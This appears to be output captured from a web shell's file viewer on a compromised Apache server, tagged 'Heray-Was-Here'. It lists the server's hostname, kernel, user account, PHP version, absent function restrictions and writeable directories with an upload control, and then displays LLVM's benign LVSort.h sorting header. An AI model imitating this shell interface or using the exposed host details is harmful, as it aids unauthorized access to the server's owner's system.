Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/include/llvm/DebugInfo/LogicalView/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/llvm/DebugInfo/LogicalView/Core/LVSort.h
//===-- LVSort.h ------------------------------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file defines the sort algorithms.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_DEBUGINFO_LOGICALVIEW_CORE_LVSORT_H
#define LLVM_DEBUGINFO_LOGICALVIEW_CORE_LVSORT_H

namespace llvm {
namespace logicalview {

class LVObject;

// Object Sorting Mode.
enum class LVSortMode {
  None = 0, // No given sort.
  Kind,     // Sort by kind.
  Line,     // Sort by line.
  Name,     // Sort by name.
  Offset    // Sort by offset.
};

// Type of function to be called when sorting an object.
using LVSortValue = int;
using LVSortFunction = LVSortValue (*)(const LVObject *LHS,
                                       const LVObject *RHS);

// Get the comparator function, based on the command line options.
LVSortFunction getSortFunction();

// Comparator functions that can be used for sorting.
LVSortValue compareKind(const LVObject *LHS, const LVObject *RHS);
LVSortValue compareLine(const LVObject *LHS, const LVObject *RHS);
LVSortValue compareName(const LVObject *LHS, const LVObject *RHS);
LVSortValue compareOffset(const LVObject *LHS, const LVObject *RHS);
LVSortValue compareRange(const LVObject *LHS, const LVObject *RHS);
LVSortValue sortByKind(const LVObject *LHS, const LVObject *RHS);
LVSortValue sortByLine(const LVObject *LHS, const LVObject *RHS);
LVSortValue sortByName(const LVObject *LHS, const LVObject *RHS);

} // end namespace logicalview
} // end namespace llvm

#endif // LLVM_DEBUGINFO_LOGICALVIEW_CORE_LVSORT_H

Hry